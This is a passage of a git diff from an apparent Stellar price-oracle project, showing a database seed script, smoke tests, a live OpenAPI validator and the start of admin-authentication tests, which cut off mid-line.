i++) { + // Deterministic small price variation: ±3% sine wave + const priceVar = pair.basePrice * (1 + 0.03 * Math.sin((i * Math.PI) / 12)) + const price = parseFloat(priceVar.toFixed(8)) + const vol = 5000 + i * 200 + points.push({ + id: `seed-${network}-sdex-${i}`, + network, + assetA: pair.assetA, + assetB: pair.assetB, + pairKey: pair.pairKey, + source: 'SDEX', + poolId: null, + price: new Prisma.Decimal(price), + baseVolume: new Prisma.Decimal(vol), + counterVolume: new Prisma.Decimal(parseFloat((vol * price).toFixed(7))), + ledger: 50000000 + i * 100, + timestamp: hoursAgo(23 - i, anchor), + }) + } + + // 12 AMM points, 1 per 2 hours offset by 30 mins from the hour. + // Offsetting AMM prevents timestamp collision with SDEX, ensuring deterministic + // ORDER BY timestamp DESC resolution in /pairs without tie-break ambiguity. + for (let i = 0; i < 12; i++) { + const priceVar = pair.basePrice * (1 + 0.025 * Math.sin((i * Math.PI) / 6)) + const price = parseFloat(priceVar.toFixed(8)) + const vol = 3000 + i * 150 + const msAgo = ((22 - i * 2) * 60 + 30) * 60 * 1000 + points.push({ + id: `seed-${network}-amm-${i}`, + network, + assetA: pair.assetA, + assetB: pair.assetB, + pairKey: pair.pairKey, + source: 'AMM', + poolId: pair.poolId, + price: new Prisma.Decimal(price), + baseVolume: new Prisma.Decimal(vol), + counterVolume: new Prisma.Decimal(parseFloat((vol * price).toFixed(7))), + ledger: 50000050 + i * 200, + timestamp: new Date(anchor.getTime() - msAgo), + }) + } + + return points +} + +// ── Pool snapshot generation ───────────────────────────────────────────────── + +export function makePoolSnapshots(network: string, pair: PairDef, anchor: Date = getAnchor()) { + const snapshots: { + id: string + network: string + poolId: string + assetA: string + assetB: string + reserveA: Prisma.Decimal + reserveB: Prisma.Decimal + spotPrice: Prisma.Decimal + totalShares: Prisma.Decimal + feeBp: number + ledger: number + timestamp: Date + }[] = [] + + // 6 snapshots, 1 per 4 hours + for (let i = 0; i < 6; i++) { + const reserveA = 500000 + i * 10000 + const reserveB = parseFloat((reserveA * pair.basePrice).toFixed(7)) + const spotPrice = parseFloat(pair.basePrice.toFixed(8)) + snapshots.push({ + id: `seed-${network}-snap-${i}`, + network, + poolId: pair.poolId, + assetA: pair.assetA, + assetB: pair.assetB, + reserveA: new Prisma.Decimal(reserveA), + reserveB: new Prisma.Decimal(reserveB), + spotPrice: new Prisma.Decimal(spotPrice), + totalShares: new Prisma.Decimal(100000), + feeBp: 30, + ledger: 50000000 + i * 400, + timestamp: hoursAgo(20 - i * 4, anchor), + }) + } + + return snapshots +} + +// ── Price aggregate generation ─────────────────────────────────────────────── + +export function makePriceAggregates(network: string, pair: PairDef, anchor: Date = getAnchor()) { + const windows = ['1m', '5m', '1h', '24h'] as const + const aggregates: { + pairKey: string + network: string + window: string + bucket: Date + vwap: Prisma.Decimal + sdexVwap: Prisma.Decimal + ammVwap: Prisma.Decimal + volume: Prisma.Decimal + sdexVolume: Prisma.Decimal + ammVolume: Prisma.Decimal + tradeCount: number + openPrice: Prisma.Decimal + closePrice: Prisma.Decimal + highPrice: Prisma.Decimal + lowPrice: Prisma.Decimal + }[] = [] + + for (const window of windows) { + // Number of buckets per window type + const bucketCount = window === '1m' ? 12 : window === '5m' ? 12 : window === '1h' ? 24 : 1 + const bucketMinutes = window === '1m' ? 1 : window === '5m' ? 5 : window === '1h' ? 60 : 1440 + + for (let i = 0; i < bucketCount; i++) { + const bucketTime = new Date(anchor.getTime() - i * bucketMinutes * 60 * 1000) + const priceVar = pair.basePrice * (1 + 0.02 * Math.sin((i * Math.PI) / 6)) + const vwap = parseFloat(priceVar.toFixed(8)) + const sdexVwap = parseFloat((priceVar * 1.001).toFixed(8)) + const ammVwap = parseFloat((priceVar * 0.999).toFixed(8)) + const vol = 2000 + i * 100 + const sdexVol = parseFloat((vol * 0.6).toFixed(7)) + const ammVol = parseFloat((vol * 0.4).toFixed(7)) + const high = parseFloat((vwap * 1.015).toFixed(8)) + const low = parseFloat((vwap * 0.985).toFixed(8)) + + aggregates.push({ + pairKey: pair.pairKey, + network, + window, + bucket: bucketTime, + vwap: new Prisma.Decimal(vwap), + sdexVwap: new Prisma.Decimal(sdexVwap), + ammVwap: new Prisma.Decimal(ammVwap), + volume: new Prisma.Decimal(vol), + sdexVolume: new Prisma.Decimal(sdexVol), + ammVolume: new Prisma.Decimal(ammVol), + tradeCount: 10 + i, + openPrice: new Prisma.Decimal(parseFloat((vwap * 0.998).toFixed(8))), + closePrice: new Prisma.Decimal(parseFloat((vwap * 1.002).toFixed(8))), + highPrice: new Prisma.Decimal(high), + lowPrice: new Prisma.Decimal(low), + }) + } + } + + return aggregates +} + +// ── Idempotent upsert helpers ──────────────────────────────────────────────── +// Guarantee: "converges to the same rows". +// To maintain fresh timestamps relative to NOW() without accumulating duplicate +// rows on subsequent runs, re-seeding safely deletes previously seeded fixture rows +// (namespaced with id prefix `seed-${network}-` and scoped by network) before inserting. +// Pair configs use @@id([network, pairKey]) with skipDuplicates: true so default pairs +// are registered in pair_configs without overwriting user-configured pairs. + +export async function seedNetwork( + prisma: PrismaClient, + network: string, + pair: PairDef, + anchor: Date = getAnchor() +) { + // 1. Delete previously seeded rows for this network to guarantee convergence + await prisma.pricePoint.deleteMany({ + where: { + id: { startsWith: `seed-${network}-` }, + network, + }, + }) + + await prisma.poolSnapshot.deleteMany({ + where: { + id: { startsWith: `seed-${network}-` }, + network, + }, + }) + + await prisma.priceAggregate.deleteMany({ + where: { + network, + pairKey: pair.pairKey, + }, + }) + + // 2. Pair config (self-sufficient so /pairs and /price work on fresh clones) + const pcResult = await prisma.pairConfig.createMany({ + data: [ + { + pairKey: pair.pairKey, + network, + assetACode: pair.assetA, + assetAIssuer: pair.assetAIssuer ?? null, + assetBCode: pair.assetB, + assetBIssuer: pair.assetBIssuer ?? null, + }, + ], + skipDuplicates: true, + }) + + // 3. Price points + const points = makePricePoints(network, pair, anchor) + const ppResult = await prisma.pricePoint.createMany({ + data: points, + skipDuplicates: true, + }) + + // 4. Pool snapshots + const snaps = makePoolSnapshots(network, pair, anchor) + const psResult = await prisma.poolSnapshot.createMany({ + data: snaps, + skipDuplicates: true, + }) + + // 5. Price aggregates + const aggs = makePriceAggregates(network, pair, anchor) + const paResult = await prisma.priceAggregate.createMany({ + data: aggs, + skipDuplicates: true, + }) + + return { + pairConfigs: { total: 1, inserted: pcResult.count }, + pricePoints: { total: points.length, inserted: ppResult.count }, + poolSnapshots: { total: snaps.length, inserted: psResult.count }, + priceAggregates: { total: aggs.length, inserted: paResult.count }, + } +} + +// ── Main ───────────────────────────────────────────────────────────────────── + +export async function seed(options?: { network?: string; client?: PrismaClient; anchor?: Date }) { + const prisma = options?.client ?? new PrismaClient() + const anchor = options?.anchor ?? getAnchor() + try { + const networkFilter = options?.network + if (networkFilter && networkFilter !== 'testnet' && networkFilter !== 'mainnet') { + throw new Error(`Invalid --network value: "${networkFilter}". Must be "testnet" or "mainnet".`) + } + + const networks = networkFilter ? [networkFilter] : ['testnet', 'mainnet'] + + const results: Record>> = {} + + for (const network of networks) { + const pair = PAIRS[network] + if (!pair) { + throw new Error(`Unknown network: ${network}. Must be "testnet" or "mainnet".`) + } + results[network] = await seedNetwork(prisma, network, pair, anchor) + } + + // Print summary + console.log('\n🌱 Lens seed complete\n') + for (const [network, r] of Object.entries(results)) { + const pair = PAIRS[network] + console.log(` ${network} (${pair.pairKey})`) + console.log(` pair_configs ${r.pairConfigs.inserted} inserted (${r.pairConfigs.total} total)`) + console.log(` price_points ${r.pricePoints.inserted} inserted (${r.pricePoints.total} total)`) + console.log(` pool_snapshots ${r.poolSnapshots.inserted} inserted (${r.poolSnapshots.total} total)`) + console.log(` price_aggregates ${r.priceAggregates.inserted} inserted (${r.priceAggregates.total} total)`) + console.log() + } + + // Verify + for (const network of networks) { + const pair = PAIRS[network] + const pcCount = await prisma.pairConfig.count({ + where: { network, pairKey: pair.pairKey }, + }) + const ppCount = await prisma.pricePoint.count({ + where: { network, pairKey: pair.pairKey }, + }) + const psCount = await prisma.poolSnapshot.count({ + where: { network, poolId: pair.poolId }, + }) + const paCount = await prisma.priceAggregate.count({ + where: { network, pairKey: pair.pairKey }, + }) + console.log(` ✅ ${network}: ${pcCount} pair_configs, ${ppCount} price_points, ${psCount} pool_snapshots, ${paCount} price_aggregates`) + } + console.log() + return results + } finally { + if (!options?.client) { + await prisma.$disconnect() + } + } +} + +// ── Run when executed directly ─────────────────────────────────────────────── + +const isDirectRun = process.argv[1]?.endsWith('seed.ts') || process.argv[1]?.endsWith('seed.js') +if (isDirectRun) { + try { + const args = parseArgs(process.argv.slice(2)) + + if (args.network && args.network !== 'testnet' && args.network !== 'mainnet') { + console.error(`Invalid --network value: "${args.network}". Must be "testnet" or "mainnet".`) + process.exit(1) + } + + seed({ network: args.network }).catch((err) => { + console.error('Seed failed:', err) + process.exit(1) + }) + } catch (err) { + console.error((err as Error).message) + process.exit(1) + } +} diff --git a/scripts/test-deployed-smoke.mjs b/scripts/test-deployed-smoke.mjs index e438ef25..976e9c7f 100644 --- a/scripts/test-deployed-smoke.mjs +++ b/scripts/test-deployed-smoke.mjs @@ -1,87 +1,87 @@ -import { test } from 'node:test' -import assert from 'node:assert/strict' -import { createServer } from 'node:http' -import { spawn } from 'node:child_process' -import { WebSocketServer } from 'ws' - -async function scenario({ stale = false, invalidPrice = false, noUpdate = false, readiness = true, missingReady = false, liveness = true } = {}) { - const server = createServer((req, res) => { - res.setHeader('content-type', 'application/json') - if (req.url === '/status') res.end(JSON.stringify({ ok: true, ingestLagSeconds: stale ? 900 : 1 })) - else if (req.url === '/ready') { res.statusCode = missingReady ? 404 : readiness ? 200 : 503; res.end(JSON.stringify({ ok: readiness, booted: readiness, checks: { postgres: { status: readiness ? 'up' : 'down' }, redis: { status: 'up' } } })) } - else if (req.url === '/live') { res.statusCode = liveness ? 200 : 503; res.end(JSON.stringify({ ok: liveness, uptimeSeconds: 42 })) } - else if (req.url === '/price/XLM/USDC') res.end(JSON.stringify({ - assetA: 'XLM', assetB: 'USDC', pairKey: 'test-fixture-pair', network: 'testnet', price: invalidPrice ? '1.0' : 1, - stale: false, lastTradeAgeSeconds: 1 - })) - else { res.statusCode = 404; res.end('{}') } - }) - const wss = new WebSocketServer({ server, path: '/graphql', handleProtocols: protocols => protocols.has('graphql-transport-ws') ? 'graphql-transport-ws' : false }) - wss.on('connection', ws => ws.on('message', msg => { - const data = JSON.parse(msg.toString()) - if (data.type === 'connection_init') ws.send(JSON.stringify({ type: 'connection_ack' })) - else if (data.type === 'subscribe' && !noUpdate) ws.send(JSON.stringify({ - id: data.id, type: 'next', payload: { data: { priceUpdated: { - pair: 'test-fixture-pair', network: 'testnet', price: 1, ts: new Date().toISOString() - } } } - })) - })) - await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)) - const port = server.address().port - try { - const child = spawn(process.execPath, ['scripts/deployed-smoke.mjs', 'http://127.0.0.1:' + port], { - env: { ...process.env, SMOKE_TIMEOUT_MS: '3000' } - }) - let output = '' - for await (const chunk of child.stdout) output += chunk - for await (const chunk of child.stderr) output += chunk - const code = await new Promise(resolve => child.on('close', resolve)) - return { code, output } - } finally { - for (const client of wss.clients) client.terminate() - await new Promise(resolve => wss.close(resolve)) - await new Promise(resolve => server.close(resolve)) - } -} - -test('passes when all deployed checks pass', async () => { - const result = await scenario() - assert.equal(result.code, 0, result.output) - assert.match(result.output, /PASS GraphQL websocket/) -}) -test('rejects stale ingester', async () => { - const result = await scenario({ stale: true }) - assert.equal(result.code, 1) - assert.match(result.output, /FAIL \/status/) -}) -test('rejects malformed price', async () => { - const result = await scenario({ invalidPrice: true }) - assert.equal(result.code, 1) - assert.match(result.output, /FAIL \/price/) -}) -test('fails when /ready is missing', async () => { - // The probe skipping itself when absent is exactly how a deployment ends up - // silently unmonitored: the smoke run stays green and nothing checks whether - // instances are receiving traffic they can serve. - const result = await scenario({ missingReady: true }) - assert.equal(result.code, 1) - assert.match(result.output, /FAIL \/ready \+ \/live/) - assert.match(result.output, /missing/i) -}) -test('rejects readiness outage', async () => { - const result = await scenario({ readiness: false }) - assert.equal(result.code, 1) - assert.match(result.output, /FAIL \/ready \+ \/live/) -}) -test('rejects a failing liveness probe', async () => { - // Liveness is the restart signal. If it can fail, the platform restarts - // instances that were merely degraded. - const result = await scenario({ liveness: false }) - assert.equal(result.code, 1) - assert.match(result.output, /FAIL \/ready \+ \/live/) -}) -test('rejects websocket silence', async () => { - const result = await scenario({ noUpdate: true }) - assert.equal(result.code, 1) - assert.match(result.output, /subscription timed out/) -}) +import { test } from 'node:test' +import assert from 'node:assert/strict' +import { createServer } from 'node:http' +import { spawn } from 'node:child_process' +import { WebSocketServer } from 'ws' + +async function scenario({ stale = false, invalidPrice = false, noUpdate = false, readiness = true, missingReady = false, liveness = true } = {}) { + const server = createServer((req, res) => { + res.setHeader('content-type', 'application/json') + if (req.url === '/status') res.end(JSON.stringify({ ok: true, ingestLagSeconds: stale ? 900 : 1 })) + else if (req.url === '/ready') { res.statusCode = missingReady ? 404 : readiness ? 200 : 503; res.end(JSON.stringify({ ok: readiness, booted: readiness, checks: { postgres: { status: readiness ? 'up' : 'down' }, redis: { status: 'up' } } })) } + else if (req.url === '/live') { res.statusCode = liveness ? 200 : 503; res.end(JSON.stringify({ ok: liveness, uptimeSeconds: 42 })) } + else if (req.url === '/price/XLM/USDC') res.end(JSON.stringify({ + assetA: 'XLM', assetB: 'USDC', pairKey: 'test-fixture-pair', network: 'testnet', price: invalidPrice ? '1.0' : 1, + stale: false, lastTradeAgeSeconds: 1 + })) + else { res.statusCode = 404; res.end('{}') } + }) + const wss = new WebSocketServer({ server, path: '/graphql', handleProtocols: protocols => protocols.has('graphql-transport-ws') ? 'graphql-transport-ws' : false }) + wss.on('connection', ws => ws.on('message', msg => { + const data = JSON.parse(msg.toString()) + if (data.type === 'connection_init') ws.send(JSON.stringify({ type: 'connection_ack' })) + else if (data.type === 'subscribe' && !noUpdate) ws.send(JSON.stringify({ + id: data.id, type: 'next', payload: { data: { priceUpdated: { + pair: 'test-fixture-pair', network: 'testnet', price: 1, ts: new Date().toISOString() + } } } + })) + })) + await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)) + const port = server.address().port + try { + const child = spawn(process.execPath, ['scripts/deployed-smoke.mjs', 'http://127.0.0.1:' + port], { + env: { ...process.env, SMOKE_TIMEOUT_MS: '3000' } + }) + let output = '' + for await (const chunk of child.stdout) output += chunk + for await (const chunk of child.stderr) output += chunk + const code = await new Promise(resolve => child.on('close', resolve)) + return { code, output } + } finally { + for (const client of wss.clients) client.terminate() + await new Promise(resolve => wss.close(resolve)) + await new Promise(resolve => server.close(resolve)) + } +} + +test('passes when all deployed checks pass', async () => { + const result = await scenario() + assert.equal(result.code, 0, result.output) + assert.match(result.output, /PASS GraphQL websocket/) +}) +test('rejects stale ingester', async () => { + const result = await scenario({ stale: true }) + assert.equal(result.code, 1) + assert.match(result.output, /FAIL \/status/) +}) +test('rejects malformed price', async () => { + const result = await scenario({ invalidPrice: true }) + assert.equal(result.code, 1) + assert.match(result.output, /FAIL \/price/) +}) +test('fails when /ready is missing', async () => { + // The probe skipping itself when absent is exactly how a deployment ends up + // silently unmonitored: the smoke run stays green and nothing checks whether + // instances are receiving traffic they can serve. + const result = await scenario({ missingReady: true }) + assert.equal(result.code, 1) + assert.match(result.output, /FAIL \/ready \+ \/live/) + assert.match(result.output, /missing/i) +}) +test('rejects readiness outage', async () => { + const result = await scenario({ readiness: false }) + assert.equal(result.code, 1) + assert.match(result.output, /FAIL \/ready \+ \/live/) +}) +test('rejects a failing liveness probe', async () => { + // Liveness is the restart signal. If it can fail, the platform restarts + // instances that were merely degraded. + const result = await scenario({ liveness: false }) + assert.equal(result.code, 1) + assert.match(result.output, /FAIL \/ready \+ \/live/) +}) +test('rejects websocket silence', async () => { + const result = await scenario({ noUpdate: true }) + assert.equal(result.code, 1) + assert.match(result.output, /subscription timed out/) +}) diff --git a/scripts/validate-live-spec.ts b/scripts/validate-live-spec.ts index bc095188..658f8740 100644 --- a/scripts/validate-live-spec.ts +++ b/scripts/validate-live-spec.ts @@ -1,132 +1,132 @@ -import { - loadOpenApiSpec, - buildSpecAjv, - resolveTestRequest, - checkResponseAgainstSpec, - formatMarkdownReport, - postOrUpdateGitHubReport, - type RouteCheckResult, - type ValidationSummary, -} from '../src/openapi/liveValidator' - -async function run() { - const spec = loadOpenApiSpec() - const ajv = buildSpecAjv(spec) - const baseUrl = (process.env.LIVE_API_URL || process.env.LENS_URL || 'http://localhost:3002').replace(/\/+$/, '') - - console.log(`[live-spec] Target service: ${baseUrl}`) - console.log(`[live-spec] Validating documented routes in openapi.yaml against live service...`) - - const results: RouteCheckResult[] = [] - const paths = Object.keys(spec.paths || {}) - - let checkedCount = 0 - let validCount = 0 - let mismatchCount = 0 - let unreachableCount = 0 - - for (const path of paths) { - const operations = spec.paths[path] - for (const [method, operation] of Object.entries(operations)) { - if (['parameters', 'summary', 'description', '$ref'].includes(method)) continue - - const resolved = resolveTestRequest(path, method) - const targetUrl = `${baseUrl}${resolved.urlPath}` - const startTime = Date.now() - - try { - const controller = new AbortController() - const timeout = setTimeout(() => controller.abort(), 6000) - - const fetchOptions: RequestInit = { - method: resolved.method, - headers: { - 'User-Agent': 'Lens-LiveSpecValidator/1.0', - ...(resolved.body ? { 'Content-Type': 'application/json' } : {}), - }, - signal: controller.signal, - } - if (resolved.body) { - fetchOptions.body = resolved.body - } - - const res = await fetch(targetUrl, fetchOptions) - clearTimeout(timeout) - const durationMs = Date.now() - startTime - - let body: any = null - const contentType = res.headers.get('content-type') || '' - if (contentType.includes('application/json')) { - try { - body = await res.json() - } catch { - body = null - } - } - - const check = checkResponseAgainstSpec(ajv, spec, path, method, res.status, body) - check.durationMs = durationMs - results.push(check) - - checkedCount++ - if (check.valid) { - validCount++ - console.log(` ✓ ${method.toUpperCase()} ${resolved.urlPath} [${res.status}] (${durationMs}ms)`) - } else { - mismatchCount++ - console.log(` ✗ ${method.toUpperCase()} ${resolved.urlPath} [${res.status}] - Schema mismatch:`) - for (const err of check.errors || []) { - console.log(` path: ${err.path || '/'}, message: ${err.message}`) - } - } - } catch (err: any) { - unreachableCount++ - const durationMs = Date.now() - startTime - console.log(` ⚠ ${method.toUpperCase()} ${resolved.urlPath} - Unreachable (${err.message})`) - results.push({ - path, - method, - resolvedUrl: resolved.urlPath, - status: null, - valid: false, - skipped: true, - skipReason: `Network error: ${err.message}`, - durationMs, - }) - } - } - } - - const summary: ValidationSummary = { - timestamp: new Date().toISOString(), - baseUrl, - totalDocumented: paths.length, - checked: checkedCount, - valid: validCount, - mismatched: mismatchCount, - unreachable: unreachableCount, - results, - } - - const markdown = formatMarkdownReport(summary) - console.log('\n--- Summary Report ---') - console.log(markdown) - - // Report to single tracking GitHub issue if configured - const githubResult = await postOrUpdateGitHubReport(markdown) - if (githubResult.action === 'appended') { - console.log(`[live-spec] Appended results to existing tracking issue #${githubResult.issueNumber}`) - } else if (githubResult.action === 'created') { - console.log(`[live-spec] Created initial tracking issue #${githubResult.issueNumber}`) - } else { - console.log(`[live-spec] Report output complete (CI step summary written if available)`) - } - - // Acceptance criteria: "It reports rather than fails the build, since the live service is not in CI's control." - process.exit(0) -} - -run().catch(err => { - console.error('[live-spec] Fatal error:', err) - process.exit(0) -}) +import { + loadOpenApiSpec, + buildSpecAjv, + resolveTestRequest, + checkResponseAgainstSpec, + formatMarkdownReport, + postOrUpdateGitHubReport, + type RouteCheckResult, + type ValidationSummary, +} from '../src/openapi/liveValidator' + +async function run() { + const spec = loadOpenApiSpec() + const ajv = buildSpecAjv(spec) + const baseUrl = (process.env.LIVE_API_URL || process.env.LENS_URL || 'http://localhost:3002').replace(/\/+$/, '') + + console.log(`[live-spec] Target service: ${baseUrl}`) + console.log(`[live-spec] Validating documented routes in openapi.yaml against live service...`) + + const results: RouteCheckResult[] = [] + const paths = Object.keys(spec.paths || {}) + + let checkedCount = 0 + let validCount = 0 + let mismatchCount = 0 + let unreachableCount = 0 + + for (const path of paths) { + const operations = spec.paths[path] + for (const [method, operation] of Object.entries(operations)) { + if (['parameters', 'summary', 'description', '$ref'].includes(method)) continue + + const resolved = resolveTestRequest(path, method) + const targetUrl = `${baseUrl}${resolved.urlPath}` + const startTime = Date.now() + + try { + const controller = new AbortController() + const timeout = setTimeout(() => controller.abort(), 6000) + + const fetchOptions: RequestInit = { + method: resolved.method, + headers: { + 'User-Agent': 'Lens-LiveSpecValidator/1.0', + ...(resolved.body ? { 'Content-Type': 'application/json' } : {}), + }, + signal: controller.signal, + } + if (resolved.body) { + fetchOptions.body = resolved.body + } + + const res = await fetch(targetUrl, fetchOptions) + clearTimeout(timeout) + const durationMs = Date.now() - startTime + + let body: any = null + const contentType = res.headers.get('content-type') || '' + if (contentType.includes('application/json')) { + try { + body = await res.json() + } catch { + body = null + } + } + + const check = checkResponseAgainstSpec(ajv, spec, path, method, res.status, body) + check.durationMs = durationMs + results.push(check) + + checkedCount++ + if (check.valid) { + validCount++ + console.log(` ✓ ${method.toUpperCase()} ${resolved.urlPath} [${res.status}] (${durationMs}ms)`) + } else { + mismatchCount++ + console.log(` ✗ ${method.toUpperCase()} ${resolved.urlPath} [${res.status}] - Schema mismatch:`) + for (const err of check.errors || []) { + console.log(` path: ${err.path || '/'}, message: ${err.message}`) + } + } + } catch (err: any) { + unreachableCount++ + const durationMs = Date.now() - startTime + console.log(` ⚠ ${method.toUpperCase()} ${resolved.urlPath} - Unreachable (${err.message})`) + results.push({ + path, + method, + resolvedUrl: resolved.urlPath, + status: null, + valid: false, + skipped: true, + skipReason: `Network error: ${err.message}`, + durationMs, + }) + } + } + } + + const summary: ValidationSummary = { + timestamp: new Date().toISOString(), + baseUrl, + totalDocumented: paths.length, + checked: checkedCount, + valid: validCount, + mismatched: mismatchCount, + unreachable: unreachableCount, + results, + } + + const markdown = formatMarkdownReport(summary) + console.log('\n--- Summary Report ---') + console.log(markdown) + + // Report to single tracking GitHub issue if configured + const githubResult = await postOrUpdateGitHubReport(markdown) + if (githubResult.action === 'appended') { + console.log(`[live-spec] Appended results to existing tracking issue #${githubResult.issueNumber}`) + } else if (githubResult.action === 'created') { + console.log(`[live-spec] Created initial tracking issue #${githubResult.issueNumber}`) + } else { + console.log(`[live-spec] Report output complete (CI step summary written if available)`) + } + + // Acceptance criteria: "It reports rather than fails the build, since the live service is not in CI's control." + process.exit(0) +} + +run().catch(err => { + console.error('[live-spec] Fatal error:', err) + process.exit(0) +}) diff --git a/scripts/ws-smoke.ts b/scripts/ws-smoke.ts index c7c3898a..994a58ea 100644 --- a/scripts/ws-smoke.ts +++ b/scripts/ws-smoke.ts @@ -1,78 +1,78 @@ -import Fastify from 'fastify' -import WebSocket from 'ws' - -async function run() { - // Disable x402 payment gating for smoke test runs. Must set before importing server module. - process.env.ORACLE_PAYMENT_ADDRESS = '' - - const { registerWebSocket } = await import('../src/api/websocket') - const { priceEmitter, PRICE_UPDATE } = await import('../src/events') - - const app = Fastify({ logger: { level: 'info' } }) - await registerWebSocket(app) - await app.listen({ port: 0, host: '127.0.0.1' }) - // @ts-ignore - const addr = app.server.address() as any - const port = addr.port - - console.log(`[ws-smoke] Server listening on port ${port}`) - - const before = priceEmitter.listenerCount(PRICE_UPDATE) - - const ws = new WebSocket(`ws://127.0.0.1:${port}/ws`) - - const open = new Promise((resolve, reject) => { - const t = setTimeout(() => reject(new Error('ws open timeout')), 5000) - ws.on('open', () => { clearTimeout(t); resolve() }) - ws.on('error', (err) => { clearTimeout(t); reject(err) }) - }) - await open - console.log('[ws-smoke] WebSocket connected') - - const firstMsg = await new Promise((resolve, reject) => { - const t = setTimeout(() => reject(new Error('no initial message')), 5000) - ws.once('message', (data) => { clearTimeout(t); resolve(data.toString()) }) - }) - console.log('[ws-smoke] initial message:', firstMsg) - const first = JSON.parse(firstMsg) - if (first.type !== 'status' && first.type !== 'error') throw new Error('expected status or error message') - - if (priceEmitter.listenerCount(PRICE_UPDATE) !== before + 1) { - throw new Error('server did not register price listener') - } - - const event = { - assetA: 'XLM', - assetB: 'USDC', - previousPrice: 1.0, - currentPrice: 1.2345, - timestamp: new Date() - } - - const nextMsg = new Promise((resolve, reject) => { - const t = setTimeout(() => reject(new Error('no price update received')), 5000) - ws.once('message', (data) => { clearTimeout(t); resolve(data.toString()) }) - }) - - priceEmitter.emit(PRICE_UPDATE, event) - const nextRaw = await nextMsg - console.log('[ws-smoke] price message:', nextRaw) - const next = JSON.parse(nextRaw) - if (next.type !== 'price_update') throw new Error('expected price_update') - if (next.currentPrice !== event.currentPrice) throw new Error('price mismatch') - - ws.close() - await new Promise((resolve) => ws.on('close', () => resolve())) - - if (priceEmitter.listenerCount(PRICE_UPDATE) !== before) { - throw new Error('listener was not cleaned up after close') - } - - await app.close() - console.log('[ws-smoke] Success') -} - -run().catch(err => { - console.error('[ws-smoke] Failed:', err) - process.exitCode = 1 -}) +import Fastify from 'fastify' +import WebSocket from 'ws' + +async function run() { + // Disable x402 payment gating for smoke test runs. Must set before importing server module. + process.env.ORACLE_PAYMENT_ADDRESS = '' + + const { registerWebSocket } = await import('../src/api/websocket') + const { priceEmitter, PRICE_UPDATE } = await import('../src/events') + + const app = Fastify({ logger: { level: 'info' } }) + await registerWebSocket(app) + await app.listen({ port: 0, host: '127.0.0.1' }) + // @ts-ignore + const addr = app.server.address() as any + const port = addr.port + + console.log(`[ws-smoke] Server listening on port ${port}`) + + const before = priceEmitter.listenerCount(PRICE_UPDATE) + + const ws = new WebSocket(`ws://127.0.0.1:${port}/ws`) + + const open = new Promise((resolve, reject) => { + const t = setTimeout(() => reject(new Error('ws open timeout')), 5000) + ws.on('open', () => { clearTimeout(t); resolve() }) + ws.on('error', (err) => { clearTimeout(t); reject(err) }) + }) + await open + console.log('[ws-smoke] WebSocket connected') + + const firstMsg = await new Promise((resolve, reject) => { + const t = setTimeout(() => reject(new Error('no initial message')), 5000) + ws.once('message', (data) => { clearTimeout(t); resolve(data.toString()) }) + }) + console.log('[ws-smoke] initial message:', firstMsg) + const first = JSON.parse(firstMsg) + if (first.type !== 'status' && first.type !== 'error') throw new Error('expected status or error message') + + if (priceEmitter.listenerCount(PRICE_UPDATE) !== before + 1) { + throw new Error('server did not register price listener') + } + + const event = { + assetA: 'XLM', + assetB: 'USDC', + previousPrice: 1.0, + currentPrice: 1.2345, + timestamp: new Date() + } + + const nextMsg = new Promise((resolve, reject) => { + const t = setTimeout(() => reject(new Error('no price update received')), 5000) + ws.once('message', (data) => { clearTimeout(t); resolve(data.toString()) }) + }) + + priceEmitter.emit(PRICE_UPDATE, event) + const nextRaw = await nextMsg + console.log('[ws-smoke] price message:', nextRaw) + const next = JSON.parse(nextRaw) + if (next.type !== 'price_update') throw new Error('expected price_update') + if (next.currentPrice !== event.currentPrice) throw new Error('price mismatch') + + ws.close() + await new Promise((resolve) => ws.on('close', () => resolve())) + + if (priceEmitter.listenerCount(PRICE_UPDATE) !== before) { + throw new Error('listener was not cleaned up after close') + } + + await app.close() + console.log('[ws-smoke] Success') +} + +run().catch(err => { + console.error('[ws-smoke] Failed:', err) + process.exitCode = 1 +}) diff --git a/src/__tests__/adminStructuralAuth.test.ts b/src/__tests__/adminStructuralAuth.test.ts index 181693cb..87f9f50d 100644 --- a/src/__tests__/adminStructuralAuth.test.ts +++ b/src/__tests__/adminStructuralAuth.test.ts @@ -1,247 +1,247 @@ -import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest' -import Fastify, { type FastifyInstance } from 'fastify' - -vi.mock('../db', () => ({ - prisma: { - apiKey: { - findUnique: vi.fn(), - findMany: vi.fn().mockResolvedValue([]), - create: vi.fn(), - update: vi.fn(), - }, - }, -})) - -import { registerApiKeyAuth, registerAdminAuth } from '../api/auth' -import { registerAdminRoutes } from '../api/admin' -import { registerUsageRoutes } from '../api/usage' - -describe('Issue #514: Structural admin authentication hook', () => { - let app: FastifyInstance - const validAdminToken = 'admin-secret-token-123' - - beforeEach(async () => { - vi.stubEnv('ADMIN_TOKEN', validAdminToken) - vi.stubEnv('REQUIRE_API_KEY', 'true') - - app = Fastify() - await app.register(registerApiKeyAuth) - await app.register(registerAdminAuth) - await app.register(registerAdminRoutes) - await app.register(registerUsageRoutes) - - app.get('/status', { config: { public: true, auth: 'none' } }, async () => ({ status: 'ok' })) - app.get('/price/test', async () => ({ price: 100 })) - - await app.ready() - }) - - afterEach(async () => { - await app.close() - vi.unstubAllEnvs() - }) - - it('rejects unauthenticated requests to /admin/keys with 401 admin_unauthorized', async () => { - const res = await app.inject({ - method: 'POST', - url: '/admin/keys', - payload: { name: 'test-key' }, - }) - - expect(res.statusCode).toBe(401) - const body = res.json() - expect(body.code).toBe('admin_unauthorized') - }) - - it('rejects requests with invalid X-Admin-Token to /admin/keys with 401', async () => { - const res = await app.inject({ - method: 'POST', - url: '/admin/keys', - headers: { - 'x-admin-token': 'wrong-token', - }, - payload: { name: 'test-key' }, - }) - - expect(res.statusCode).toBe(401) - const body = res.json() - expect(body.code).toBe('admin_unauthorized') - }) - - it('rejects unauthenticated requests to /admin/usage with 401', async () => { - const res = await app.inject({ - method: 'GET', - url: '/admin/usage', - }) - - expect(res.statusCode).toBe(401) - const body = res.json() - expect(body.code).toBe('admin_unauthorized') - }) - - it('automatically protects dynamically registered /admin routes by default', async () => { - // Dynamically register a new route under /admin with standard app.get - const dynamicApp = Fastify() - await dynamicApp.register(registerAdminAuth) - dynamicApp.get('/admin/custom-diagnostic', async (_req, reply) => { - return reply.send({ diagnostic: 'ok' }) - }) - await dynamicApp.ready() - - // Calling it without admin token should be rejected structurally by onRequest hook - const unauthRes = await 